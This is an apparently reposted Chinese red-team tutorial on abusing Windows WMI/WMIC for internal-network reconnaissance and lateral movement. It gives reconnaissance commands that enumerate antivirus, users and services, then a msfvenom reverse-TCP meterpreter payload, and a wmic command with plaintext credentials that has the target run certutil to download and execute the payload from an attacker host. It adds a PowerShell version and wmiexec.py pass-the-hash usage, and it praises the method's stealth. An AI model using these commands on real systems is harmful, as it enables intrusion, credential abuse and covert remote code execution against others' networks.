【内网攻防】WMI的利用

news/2025/3/12 13:54:38/文章来源:https://www.cnblogs.com/o-O-oO/p/18677836

# 红队 # 红蓝对抗 # 内网攻防

WMI简介

WMI,全称Windows Management Instrumentation,是微软开发的一种用于管理Windows系统的工具。你可以把它想象成一个数据库工具,它存储了关于你的电脑的各种信息,比如系统、应用程序、网络和设备等。

WMI使用了一种特殊的方式来表示这些信息,叫做通用信息模(CIM)。通过这个模型,我们可以方便地从远程计算机获取管理数据,也就是说,你可以在自己的电脑上查看和管理其他电脑的信息。

此外,WMI还允许我们通过编程和脚本语言(比如VBScript和JScript)来编写管理任务的脚本和应用程序。这就意味着,通过简单的命令或脚本,我们就可以执行各种复杂的管理任务,比如查询系统信息、更改系统设置、管理服务和设备等。

利用WMIC进行信息收集

WMIC是Windows Management Instrumentation Commandline的简称,是WMI的命令行版本,WMIC允许用户通过简单的命令行指令来执行系统管理任务,如查询系统信息、更改系统设置、管理服务和设备等。

所以攻击者就可以利用WMIC进行内网的信息收集工作,例如:

wmic product get IdentifyingNumber, Name, Version, Vendor

可以获取到已安装的程序信息

获取硬盘的型号、容量和分区等信息:

wmic diskdrive get Model, Size, Partitions

回显杀毒软件名称:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

我电脑有自己装的火绒和Windows Defender所以回显了这两个杀毒
软件名字。
回显杀毒软件安装路径:

WMIC /namespace:\\root\securitycenter2 path antivirusproduct get displayname,productstate,pathtosignedproductexe

获取操作系统信息:

wmic os get Caption, Version, OSArchitecture

还有其它的一些常用命令:

wmic computersystem get caption, domain //获取主机名和域名
wmic cpu get name, numberofcores, maxclockspeed, l2cache
size //获取CPU详细信息
wmic useraccount get name, type, disabled//获取当前用户和组
wmic localgroup get name, groupcategory, members//获取当前用户和组
wmic service get state, name, startmode, pathname, proces
sid //获取所有服务的状态
wmic nicconfig get macaddress, ipaddress //获取网络适配器的MAC地址和IP地址

WMIC远程获取shell

而前面也说了WMIC还有远程管理文件和操作计算机的功能,所以我们可以利用这一点去远程操纵计算机获取shell。
首先我们用Kali生成一个test的木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1909 -f exe >test.exe

然后python起一个监听8080端口,这样我们后续远程用8080端口去下载test.exe木马就能明显的看到效果。

然后用跳板机运行Wimc命令远程连接已知密码的目标机器

wmic /node:192.168.1.1 /user:Administrator /password:Password@test process call create "cmd.exe"

<remote_computer_name>是要连接的远程计算机的名称或IP地址,<username>是要使用的用户名,<password>是对应的密码.

这段命令的作用就是远程连接到 <remote_computer_name> 计算机的 <username> 用户并且创建一个进程运行cmd.exe程序.

而下一步就是将shell下载到目标计算机,这一步中我们需要在新的进程中下载certutil.exe用于我们test.exe木马的安装,把这一步命令和前面连接计算机的命令结合就是:

wmic /node:192.168.1.1 /user:Administrator /password:Password@test 
process call create "cmd.exe" /c certutil.exe -urlcache -f -split 
http://192.168.1.2:8080/test.exe&&test.exe

把这一步写成powershell代码就是:

$ip = "192.168.1.1"
$username = "Administrator"
$password = "Password@test"
$url = "http://192.168.1.2:8080/test.exe"$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ($username, $securePassword)Invoke-Command -ComputerName $ip -Credential $credential -ScriptBlock {cmd.exe /c "certutil.exe -urlcache -f -split $url"
}

Kali端成功回显并且在目标机中也发现test.exe文件.

值得注意的是这段命令中的test.exe&&test.exe中的&&叫做谓词开关,我们可以在这里添加运行其它命令,例如写成:

/test.exe /nobreak && test.exe

/nobreak 是表示新进程完成后不要中断。

&& start test.exe 则表示在新进程执行完毕后启动test.exe程序。

利用WMI进行域横向

看完前面的操作相信师傅们也大致对WMI进行横向渗透也有了一定的思路。

Kali中提供了一个非常方便就能利用WMI进行横向渗透的工具,就是 wmiexec

用法也是非常简单,常用的两种为利用Hash或是和前面远程获取shell一样利用密码获取shell.

利用hash获取shell:

python3 wmiexec.py -hashes xxxxxxxxxx:xxxxxxxx Admin@192.168.1.1 "ipconfig"

利用密码getshell:

python3 wmiexec.py Admin:123456@192.168.1.1

其余的横向命令,理解WMIC命令后也是很简单,例如:

wmic /node:目标IP地址 /user:用户名 密码 /output:输出文件路径 systeminfo > 输出文件路径   //获取远程计算机的系统信息
wmic /node:目标IP地址 /user:用户名 密码 process get ProcessId,ProcessName,CommandLine > 输出文件路径   //获取远程计算机的进程信息
wmic /node:目标IP地址 /user:用户名 密码 service where "Name='服务名称'" call start > nul || wmic /node:目标IP地址 /user:用户名 密码 service where "Name='服务名称'" call stop > nul   //启动或停止远程计算机上的服务

总结

实际上wmicexec进行横向渗透时,Windows操作系统默认不会将WMI的操作记录在日志中同时无需将wmicexec.py移动到目标机上,所以隐蔽性较高,因为WMI是Windows的管理工具,所以大多数基于Windows的软件都依赖于此服务,所以利用成功率是较高的,而缺点就是有时占用较大容易把系统搞崩再不济就是同样搞蓝屏。

原创 Flowers aq flower安全

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/871014.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【后门】cymothoa后门的利用

# 后门工具 # 红队 cymothoa简介: Cymothoa是一款隐秘的后门工具,通过向目标主机上活跃的进程注入恶意代码来执行后门工作,这也反向说明了,实际上Cymothoa后门会拥有和原进程相同的权限,且Cymothoa是通过向系统进程注入shellcode去执行后门,所以不会像以前写过的许多后门…

Linux 符号链接

Linux中的符号链接是一种特殊类型的文件,允许用户创建指向其他文件或目录的链接,便于访问和管理文件系统。创建和删除符号链接很简单,使用ln -s命令可以创建链接,而unlink和rm命令可用于删除它。用户还可以通过命令查找和处理失效的符号链接,以维护文件系统的整洁。在Linu…

在 Linux 中查看符号链接指向

在 Linux 系统中,可以通过使用 readlink、realpath 和 ls -la 命令来查看符号链接指向的目标文件或目录,选择不同命令可以满足不同的路径解析需求。在 Linux 系统中,符号链接(symbolic link)是一种特殊类型的文件,它指向另一个文件或目录。为了查看符号链接指向的目标文件…

Office 365 E5 账号申请及永久续期教程

详细介绍了如何申请微软提供的Office 365 E5管理账号、使用该账号的基本功能以及实现账号的永久续期方法,强调通过Github Action等自动化手段可以简化续期过程。续订成功通知Office 365 E5 是微软 免费 提供给开发者的 Office 临时 管理号,任何人均可申请。该账号的最大权益便…

【Windows攻防】恶意软件容器化

# windows 微软在2022年7月为了帮助用户保持安全,在Office中默认阻止了internet宏。 阻止从Internet下载的文档中的VBA宏。 接下来我们来了解一下MOTW标记,其实就是网络标记。 什么是MOTW标记? MOTW全名Mark of the Web,他是windows操作系统中的一个安全特性,为了帮助用户…

【Spring Cloud Alibaba AI】 入门与实践

一、概述 Spring AI 是 Spring 官方社区项目,旨在简化 Java AI 应用程序开发,让 Java 开发者像使用 Spring 开发普通应用一样开发 AI 应用。可参考文章《SpringAI:Java 开发的智能新利器》Spring Cloud Alibaba AI 是一个将 Spring Cloud 微服务生态与阿里巴巴 AI 能力无缝集…

Re:Re:笑死

哈哈哈哈哈博客用的很熟练嘛 闲的没事去桃花湖那边开了一圈 下午的旅程后劲儿太大了 开车的时候仿佛眼前还都是山 今晚自己和猫猫独享大床真爽啊!!吼吼 再次给你欣赏一下12的美照哈哈哈哈哈哈

阿里面试:5000qps访问一个500ms的接口,如何设计线程池的核心线程数、最大线程数? 需要多少台机器?

本文原文链接 文章很长,且持续更新,建议收藏起来,慢慢读!疯狂创客圈总目录 博客园版 为您奉上珍贵的学习资源 : 免费赠送 :《尼恩Java面试宝典》 持续更新+ 史上最全 + 面试必备 2000页+ 面试必备 + 大厂必备 +涨薪必备 免费赠送 :《尼恩技术圣经+高并发系列PDF》 ,帮你 …

WSL CUDA安装

【一文解决】已安装CUDA与Pytorch但torch.cuda.is_available()为False_torch.cuda.is available返回false-CSDN博客 cuda安装,选WSL e.g.Ubuntu 20.04安装CUDA & CUDNN 手把手带你撸_ubuntu20.04安装cuda-CSDN博客 【CUDA】Ubuntu系统如何安装CUDA保姆级教程(2022年最新)_…

未来已来:探索智能家居行业的创新与突破

智能家居行业正站在新科技革命的风口浪尖,不断推动着生活方式的革新。以下是该行业在创新与突破方面的详细介绍: 1.行业发展趋势: 智能家居行业正从单品智能设备过渡至全屋智能阶段,平台生态的构建成为主要发展方向。预计到2029年,中国智能家居市场规模将达到1.09万亿元。…

【洛谷训练记录】【LGR-213-Div.4】洛谷入门赛 #31

训练情况赛后反思 模拟题差点红温,差一道字符串模拟题AK A题 问一个数 \(a\) 加多少后的个位数变成 \(b\),取出 \(a\) 的个位数,再用 \(b\) 去减,如果小于零答案再加十。 #include <bits/stdc++.h> // #define int long long #define endl \nusing namespace std;voi…

WSL2配置代理

1、关闭梯子 2、设置为mirrored模式该设置会生成 C:/Users//.wslconfig【可选】修改.wslconfig文件内容如下 [experimental] autoMemoryReclaim=gradual networkingMode=mirrored dnsTunneling=true firewall=true autoProxy=true3、打开cmd并执行wsl --shutdown 4、重新启动…